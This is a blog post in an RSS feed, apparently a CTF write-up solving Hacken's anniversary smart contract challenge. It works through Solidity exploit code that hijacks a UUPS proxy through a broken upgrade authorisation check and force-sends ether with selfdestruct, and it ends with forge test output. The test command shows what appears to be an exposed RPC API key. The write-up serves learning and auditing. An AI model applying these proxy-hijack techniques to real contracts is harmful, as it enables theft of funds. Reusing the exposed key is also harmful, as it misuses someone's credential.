<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>👟Than⚒️71</title>
        <link>https://paragraph.com/@than-71</link>
        <description>Web3 Security Researcher</description>
        <lastBuildDate>Sat, 18 Apr 2026 11:10:06 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>👟Than⚒️71</title>
            <url>https://storage.googleapis.com/papyrus_images/e8680104fca2b991b8678b671f2d222b35722898ae506130be630e4d538f6892.jpg</url>
            <link>https://paragraph.com/@than-71</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[How I Solved the Hacken's 7th Anniversary CTF Challenge]]></title>
            <link>https://paragraph.com/@than-71/how-i-solved-the-hacken-s-7th-anniversary-ctf-challenge</link>
            <guid>058slaYwMUwAOB0UeJzM</guid>
            <pubDate>Thu, 29 Aug 2024 17:13:23 GMT</pubDate>
            <description><![CDATA[In this blog, we are going to discuss about the Hacken&apos;s 7th Anniversary CTF challenge, which is for the role of junior smart contract auditor role. There is a bounty also available on this challenge for the first person to solve, and remaining people who solved the challenge get the chance for interview to smart contract auditor role as mentioned above. So, fingers crossed and dive into the challenge, I am so excited to discuss about this challenge. Why because this is the challenge whe...]]></description>
            <content:encoded><![CDATA[<p>In this blog, we are going to discuss about the Hacken&apos;s 7th Anniversary CTF challenge, which is for the role of junior smart contract auditor role. There is a bounty also available on this challenge for the first person to solve, and remaining people who solved the challenge get the chance for interview to smart contract auditor role as mentioned above.</p><p>So, fingers crossed and dive into the challenge, I am so excited to discuss about this challenge. Why because this is the challenge where I have seen the mood swings of myself on smart contract auditing. How I solved and what difficulties I have faced while solving the challenge are discussed in this article/ blog.</p><p>Before diving into the topic, I request you guys to bear if there are any grammatical mistakes or if I didn&apos;t explain properly as this is my first time writing the blog. And also I want you guys to give it a try before reading the solution of the challenge for better understanding of the blog. The link to the CTF challenge down below.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/hknio/anniversary-ctf">https://github.com/hknio/anniversary-ctf</a></p><h2 id="h-problem-statement" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Problem Statement</h2><p>The goal of the challenge is pretty simple, that is to claim the <code>trophyNFT</code>, which represents the 7th anniversary CTF prize (i.e., the role of junior smart contract auditor), by finding a way to exploit <code>claimTrophy</code> function in the <code>AnniversaryChallenge.sol</code> contract. Before how we approach the solution, let&apos;s see the <code>claimTrophy</code> function in the challenge contract and issues I addressed before writing the test contract for the challenge.</p><pre data-type="codeBlock" text="function claimTrophy(address receiver, uint256 amount) public {
    require(msg.sender.code.length == 0, &quot;No contractcs.&quot;);
    require(address(this).balance == 0, &quot;No treasury.&quot;);
    require(
        simpleStrategy.usdcAddress() ==
            0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
        &quot;Only real USDC.&quot;
    );

    try
        AnniversaryChallenge(address(this)).externalSafeApprove(amount)
    returns (bool) {
        simpleStrategy.deployFunds(amount);
    } catch {
        trophyNFT.safeTransferFrom(address(this), receiver, 1);
        require(address(this).balance &gt; 0 wei, &quot;Nothing is for free.&quot;);
    }

}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">claimTrophy</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> receiver, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">code</span>.<span class="hljs-built_in">length</span> =<span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"No contractcs."</span>);
    <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"No treasury."</span>);
    <span class="hljs-built_in">require</span>(
        simpleStrategy.usdcAddress() <span class="hljs-operator">=</span><span class="hljs-operator">=</span>
            <span class="hljs-number">0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48</span>,
        <span class="hljs-string">"Only real USDC."</span>
    );

    <span class="hljs-keyword">try</span>
        AnniversaryChallenge(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)).externalSafeApprove(amount)
    <span class="hljs-keyword">returns</span> (<span class="hljs-keyword">bool</span>) {
        simpleStrategy.deployFunds(amount);
    } <span class="hljs-keyword">catch</span> {
        trophyNFT.safeTransferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), receiver, <span class="hljs-number">1</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span> <span class="hljs-literal">wei</span>, <span class="hljs-string">"Nothing is for free."</span>);
    }

}
</code></pre><p>To claim <code>trophyNFT</code>, we need to revert the <code>externalSafeApprove</code> function, which externally <code>safeApprove</code> the vault and deposit the funds into the vault via a different contract called <code>SimpleStrategy.sol</code>. Let&apos;s say somehow we have cracked the code and reverted the <code>externallySafeApprove</code> function, which then catches and runs the code in the catch block.</p><p>But another problem arises after receiving the <code>trophyNFT</code>, the challenge contract should receive some ether, whatever the amount doesn&apos;t matter. So, Infront of our eyes there are 2 barriers to solve the challenge.</p><ol><li><p>To revert the <code>externallySafeApprove</code> function</p></li><li><p>Upon receiving the <code>trophyNFT</code> the player should find a way to send some ether to challenge contract.</p></li></ol><h2 id="h-solution-approach" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution Approach</h2><h3 id="h-revert-the-externallysafeapprove-function" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Revert the <code>externallySafeApprove</code> function</h3><p>We have discussed overview of the <code>externallySafeApprove</code> function, let&apos;s demystify the function line by line to see how we can exploit to achieve our goal.</p><pre data-type="codeBlock" text="function externalSafeApprove(uint256 amount) external returns (bool) {
        assert(msg.sender == address(this));
        IERC20(simpleStrategy.usdcAddress()).safeApprove(
            address(simpleStrategy), amount
        );
        return true;
    }
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">externalSafeApprove</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-built_in">assert</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        IERC20(simpleStrategy.usdcAddress()).safeApprove(
            <span class="hljs-keyword">address</span>(simpleStrategy), amount
        );
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
</code></pre><ol><li><p><code>assert(msg.sender == address(this))</code>, this line of code is not in out hands, as it strictly saying the one who gonna call this function is challenge contract.</p></li><li><p><code>safeApprove</code>, this is the only line we left with to do any misleading to exploit the function. Let&apos;s see the <code>safeApprove</code> function in safe ERC20 library, to see how we can use to our own benefit.</p></li></ol><pre data-type="codeBlock" text="function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            &quot;SafeERC20: approve from non-zero to non-zero allowance&quot;
        );
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">safeApprove</span>(<span class="hljs-params">
        IERC20 token,
        <span class="hljs-keyword">address</span> spender,
        <span class="hljs-keyword">uint256</span> value
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-built_in">require</span>(
            (value <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> (token.allowance(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), spender) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>),
            <span class="hljs-string">"SafeERC20: approve from non-zero to non-zero allowance"</span>
        );
        _callOptionalReturn(token, <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(token.approve.<span class="hljs-built_in">selector</span>, spender, value));
    }
</code></pre><p>As you can see we can make it revert if we put both <code>value</code> to zero and the allowance of the challenge contract (<code>AnniversaryChallenge.sol</code>) and vault contract (<code>SimpleStrategy.sol</code>) to non-zero.</p><p>We can easily put the value to zero, as it is in our hands. So, only bothersome thing here is the allowance. So, After executing <code>externallySafeApprove</code> function, if it returns <code>true</code> then the allowance which updated in the <code>safeApprove</code> function is utilized in the <code>deployFunds</code> function of the vault contract and then again the allowance reset to zero as the approve tokens are transferred to the vault contract and then deposited into the vault.</p><pre data-type="codeBlock" text="function deployFunds(uint256 amount) external returns (uint256 shares) {
    require(amount &gt; 0, &quot;Zero amount not allowed.&quot;);
    balances[msg.sender] += amount;
    IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount);

    IERC20(usdcAddress).safeApprove(vault, amount);
    shares = IERC4626(vault).deposit(amount, address(this));
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deployFunds</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> shares</span>) </span>{
    <span class="hljs-built_in">require</span>(amount <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"Zero amount not allowed."</span>);
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
    IERC20(usdcAddress).safeTransferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);

    IERC20(usdcAddress).safeApprove(vault, amount);
    shares <span class="hljs-operator">=</span> IERC4626(vault).deposit(amount, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
}
</code></pre><p>Upon the layer of code there is no issues with the challenge itself. At some point, I literally thought that there are no bugs in the contract itself, but then I realized that Hacken is not a small organization to made this amateur mistakes. After re-analyzing the code for 2 days, I got an idea that what if we manipulate the <code>deployFunds</code> to our advantage in such a way where it not updates the allowance of challenge contract and vault contract.</p><p>Upon closer look of the vault contract, I found the suspicious function where anyone can access, but apart from that there is no code and it was internal function also.</p><pre data-type="codeBlock" text="function _authorizeUpgrade(address newImplementation) internal override {
        require(owner != msg.sender, &quot;Not an owner.&quot;);
    }
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_authorizeUpgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        <span class="hljs-built_in">require</span>(owner <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-string">"Not an owner."</span>);
    }
</code></pre><p>I left it as a thought of some useless code the challenger intentionally wrote to mislead us. But that is the most dumbest thing I have done while solving this challenge. Then after struggling for 2 days I didn&apos;t get anything from this challenge. By this time I gave up on this challenge and thought that I am not up to the mark of finding bugs in this contract, so I have started learning about other stuff like Merkle tress.</p><p>Next day my brother message me to ask about the progress of the challenge, then upon realizing my struggles he suggests that to read code line by line and then I found the <code>_authorizeUpgrade</code> in vault contract and then upon closer look I also found a external function called <code>upgradeTo</code> in the UUPS contract, which is being inherited to the vault contract.</p><pre data-type="codeBlock" text="function upgradeTo(address newImplementation) external virtual onlyProxy {
        _authorizeUpgrade(newImplementation);
        _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
    }
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgradeTo</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title">onlyProxy</span> </span>{
        _authorizeUpgrade(newImplementation);
        _upgradeToAndCallUUPS(newImplementation, <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(<span class="hljs-number">0</span>), <span class="hljs-literal">false</span>);
    }
</code></pre><p>Then I realized where I lack, that is the understanding of the vault contract, not knowing anything about UUPS contract. Then after finding this, my point of view of seeing the picture completely changed. So, before manipulating the challenge to claim the <code>trophyNFT</code>, I have raised few questions in my mind,</p><ol><li><p>What exactly is proxy contract and why do we need it.</p></li><li><p>What is UUPS contract and why does it needed in this challenge.</p></li><li><p>What will happen upon calling <code>upgradeTo</code> contract.</p></li></ol><p>Let&apos;s see one by one to connect all the dots which dump over the space.</p><ul><li><p><strong>What is Proxy Contract ?</strong></p><p>It is a design pattern in Ethereum smart contract development that allows for the separation of contract logic from the contract&apos;s data storage. This approach facilitates upgrades to the logic of smart contract without changing the contract&apos;s address, which is critical for maintaining with other contracts or interfaces with the interact with it.</p></li><li><p><strong>What is UUPS Contract ?</strong></p><p>Universal Upgradable Proxy Standard (UUPS) is a design pattern in Ethereum smart contract development for creating upgradeable proxy contracts. The reason why the challenge contract used and many other protocols used it because the upgrade logic is maintained within the implementation contract itself (I.e., vault contract in the challenge), rather than the proxy contract.</p></li><li><p><strong>What will happen upon calling</strong> <code>upgradeTo</code> <strong>contract</strong> <strong>?</strong></p><p>If a protocol launches new version upon rectifying previous mistakes and implementing new features for the customers, then they should redeploy the new version and update the info regarding the change of new smart contract, which is very hard task for large protocol, which deals with millions of dollars as their capital. So, these proxy contracts and upgradable contract, updates the pointer of the smart contract implementation to the newer version by keeping user interacting as same as before. Upon doing this it upscale the utility of the smart contracts and beneficiaries of the protocol. <code>upgradeTo</code> function exactly do what we discussed, which updates the pointer to the new upgraded contract. Now we understand the use of <code>upgradeTo</code> function, so what we need to do is that change the pointer of upgradable contract from vault contract to the attacker contract.</p></li></ul><blockquote><p>Note that attacker contract must have <code>deployFunds</code> function and public getter function for <code>usdc</code> address</p></blockquote><pre data-type="codeBlock" text="import {AnniversaryChallenge} from &quot;./AnniversaryChallenge.sol&quot;;
import {SimpleStrategy} from &quot;./SimpleStrategy.sol&quot;;

contract Exploit is UUPSUpgradeable {
    AnniversaryChallenge public challenge;
    SimpleStrategy public strategy;
    address public immutable player;
    address public immutable usdcAddress;
  
    constructor(address _challenge, address _strategy) payable {
        challenge = AnniversaryChallenge(_challenge);
        strategy = SimpleStrategy(_strategy);
        player = msg.sender;

        usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    }

    function deployFunds(
        uint256 amount
    ) external payable returns (uint256 shares) {}

    function _authorizeUpgrade(address newImplementation) internal override {}

    function attack() external {
        // change the proxy pointer to this contract
        strategy.upgradeTo(address(this));
    }

    receive() external payable {}
}
"><code><span class="hljs-keyword">import</span> {<span class="hljs-title">AnniversaryChallenge</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./AnniversaryChallenge.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">SimpleStrategy</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./SimpleStrategy.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Exploit</span> <span class="hljs-keyword">is</span> <span class="hljs-title">UUPSUpgradeable</span> </span>{
    AnniversaryChallenge <span class="hljs-keyword">public</span> challenge;
    SimpleStrategy <span class="hljs-keyword">public</span> strategy;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> player;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> usdcAddress;
  
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _challenge, <span class="hljs-keyword">address</span> _strategy</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        challenge <span class="hljs-operator">=</span> AnniversaryChallenge(_challenge);
        strategy <span class="hljs-operator">=</span> SimpleStrategy(_strategy);
        player <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;

        usdcAddress <span class="hljs-operator">=</span> <span class="hljs-number">0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deployFunds</span>(<span class="hljs-params">
        <span class="hljs-keyword">uint256</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> shares</span>) </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_authorizeUpgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// change the proxy pointer to this contract</span>
        strategy.upgradeTo(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre><p>In <code>attack</code> function we call the <code>upgradeTo</code> externally to change the pointer to the attacker contract (I.e., <code>Exploit.sol::Exploit</code>). Now after executing the function, we call the <code>calimTrophy</code> function twice in challenge contract, because upon executing the 1st time, the allowance of challenge contract and modified vault contract (attacker contract) sets to non-zero, I.e., <code>amount</code> entered as input for <code>claimTrophy</code> function.</p><p>So in the 2nd call, we will set the input for <code>claimTrophy</code> function to some non-zero value. As the allowance of challenge contract to modified vault contract is non-zero and <code>amount</code> entered is also non-zero, the <code>safeApprove</code> function reverts and catches the error, which results in executing the code in the catch block.</p><p>In 2nd attempt, while executing the code in catch block the transaction get reverted, as <code>player</code> is an EOA account, we cannot send any funds to challenge contract and it reverts the transaction by throwing error <strong><em>&quot;Nothing is Free&quot;</em></strong>. So in the 2nd attempt we must call the <code>claimTrophy</code> function by the contract such that we can somehow manipulate the code in <code>onERC721Received</code> hook.</p><h3 id="h-way-to-send-ether-to-challenge-contract-upon-receiving-the-trophynft" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Way to Send Ether to Challenge Contract upon Receiving the <code>trophyNFT</code></h3><p>As discussed the one who need to call the 2nd time should be a contract and we can call it using attacker contract itself by implementing the <code>onERC721Recevied</code> function hook inside the attacker contract.</p><pre data-type="codeBlock" text="import {AnniversaryChallenge} from &quot;./AnniversaryChallenge.sol&quot;;
import {SimpleStrategy} from &quot;./SimpleStrategy.sol&quot;;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract Exploit is UUPSUpgradeable, IERC721Receiver {
    AnniversaryChallenge public challenge;
    SimpleStrategy public strategy;
    address public immutable player;
    address public immutable usdcAddress;
  
    constructor(address _challenge, address _strategy) payable {
        challenge = AnniversaryChallenge(_challenge);
        strategy = SimpleStrategy(_strategy);
        player = msg.sender;

        usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    }

    function deployFunds(
        uint256 amount
    ) external payable returns (uint256 shares) {}

    function _authorizeUpgrade(address newImplementation) internal override {}

    function attack() external {
        // change the proxy pointer to this contract
        strategy.upgradeTo(address(this));
    }
    
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        // send the funds to challenge contract 

        // send the received NFT to the player address
        IERC721(nft).transferFrom(address(this), player, 1);

        return this.onERC721Received.selector;
    }

    receive() external payable {}
}
"><code><span class="hljs-keyword">import</span> {<span class="hljs-title">AnniversaryChallenge</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./AnniversaryChallenge.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">SimpleStrategy</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./SimpleStrategy.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IERC721Receiver</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onERC721Received</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> operator,
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>,
        <span class="hljs-keyword">uint256</span> tokenId,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes4</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Exploit</span> <span class="hljs-keyword">is</span> <span class="hljs-title">UUPSUpgradeable</span>, <span class="hljs-title">IERC721Receiver</span> </span>{
    AnniversaryChallenge <span class="hljs-keyword">public</span> challenge;
    SimpleStrategy <span class="hljs-keyword">public</span> strategy;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> player;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> usdcAddress;
  
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _challenge, <span class="hljs-keyword">address</span> _strategy</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        challenge <span class="hljs-operator">=</span> AnniversaryChallenge(_challenge);
        strategy <span class="hljs-operator">=</span> SimpleStrategy(_strategy);
        player <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;

        usdcAddress <span class="hljs-operator">=</span> <span class="hljs-number">0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deployFunds</span>(<span class="hljs-params">
        <span class="hljs-keyword">uint256</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> shares</span>) </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_authorizeUpgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// change the proxy pointer to this contract</span>
        strategy.upgradeTo(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onERC721Received</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">uint256</span>,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span>
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes4</span></span>) </span>{
        <span class="hljs-comment">// send the funds to challenge contract </span>

        <span class="hljs-comment">// send the received NFT to the player address</span>
        IERC721(nft).transferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), player, <span class="hljs-number">1</span>);

        <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.onERC721Received.<span class="hljs-built_in">selector</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre><p>In the <code>onERC721Received</code> function, we sent back the NFT received to the player and also we need to send some funds to the challenge contract so that there would no issues while executing the transaction.</p><p>While deploying the attacker contract, we deposit some amount of ether/ wei to the contract so that afterwards it can utilize those deposited funds to send to challenger contract. The main problem here is that challenger contract doesn&apos;t have any payable function, which means we cannot send any ether via <code>send</code>, <code>transfer</code> or <code>call</code>. There is only one way to send the funds to the non-payable function absence contract is via <strong>self-destruct</strong>.</p><blockquote><p>Note that when we self-destruct the contract we cannot return anything from the function, because as we self destructed there will be no code further to return and sends the total amount of ether hold by the destructed contract send to the one mentioned in the parenthesis of <code>selfdestruct</code> call.</p></blockquote><p>To resolve the issue mentioned above we&apos;ll use some extra contract where we will send the received ether from the player to the extra contract where we call <code>selfdestruct</code> to challenge contract.</p><pre data-type="codeBlock" text="contract Extra {
    function destroy(address _addr) external {
        selfdestruct(payable(_addr));
    }
    fallback() external payable {}
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Extra</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">destroy</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _addr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(_addr));
    }
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre><p>We inherit this extra contract in the attacker contract so that upon calling the function <code>destroy</code> we will send the amount of ether to the challenger contract to pass the last <code>require</code> statement in the <code>claimTrophy</code> function. So, the final attacker contract looks like as follows:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/28d8014a82ca6aa47e9a15a3b64f1c4d8e7074eb48d665539ed50df8e415255d.png" alt="Exploit contract for CTF Challenge" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Exploit contract for CTF Challenge</figcaption></figure><p>Now all the vulnerable bugs we found and wrote a exploit contract for the challenge. The below contract is the test file where the code executes in a single transaction using ethernet fork with block number 20486120.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0217e545717f46a1ac0f330f8fb5c5188ef383645138b14fe1c2ec81a98421aa.png" alt="Test file for CTF Challenge in Foundry" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Test file for CTF Challenge in Foundry</figcaption></figure><p>Now let’s run the code in the git bash and see the results. Depending on the challenge solver he/she can optimize the codebase to their own benefit, but the idea behind the solution remains same. In this blog also we have discussed the idea progression on how to crack the code to claim the trophy rather than the explanation of the code.</p><pre data-type="codeBlock" text="$ forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/EP-X88pW9orEsMdMsJaC7yn_IdqYZZXm --fork-block-number 20481620 -vvv
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/AnniversaryChallengeTest.t.sol:AnniversaryChallengeTest
[PASS] test_claimTrophy() (gas: 1096446)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.58ms (1.09ms CPU time)

Ran 1 test suite in 1.64s (4.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
"><code>$ forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>fork<span class="hljs-operator">-</span>url https:<span class="hljs-comment">//eth-mainnet.g.alchemy.com/v2/EP-X88pW9orEsMdMsJaC7yn_IdqYZZXm --fork-block-number 20481620 -vvv</span>
[⠒] Compiling...
No files changed, compilation skipped

Ran <span class="hljs-number">1</span> test <span class="hljs-keyword">for</span> test<span class="hljs-operator">/</span>AnniversaryChallengeTest.t.sol:AnniversaryChallengeTest
[PASS] test_claimTrophy() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">1096446</span>)
Suite result: ok. 1 passed; <span class="hljs-number">0</span> failed; <span class="hljs-number">0</span> skipped; finished in <span class="hljs-number">4</span>.58ms (<span class="hljs-number">1</span>.09ms CPU time)

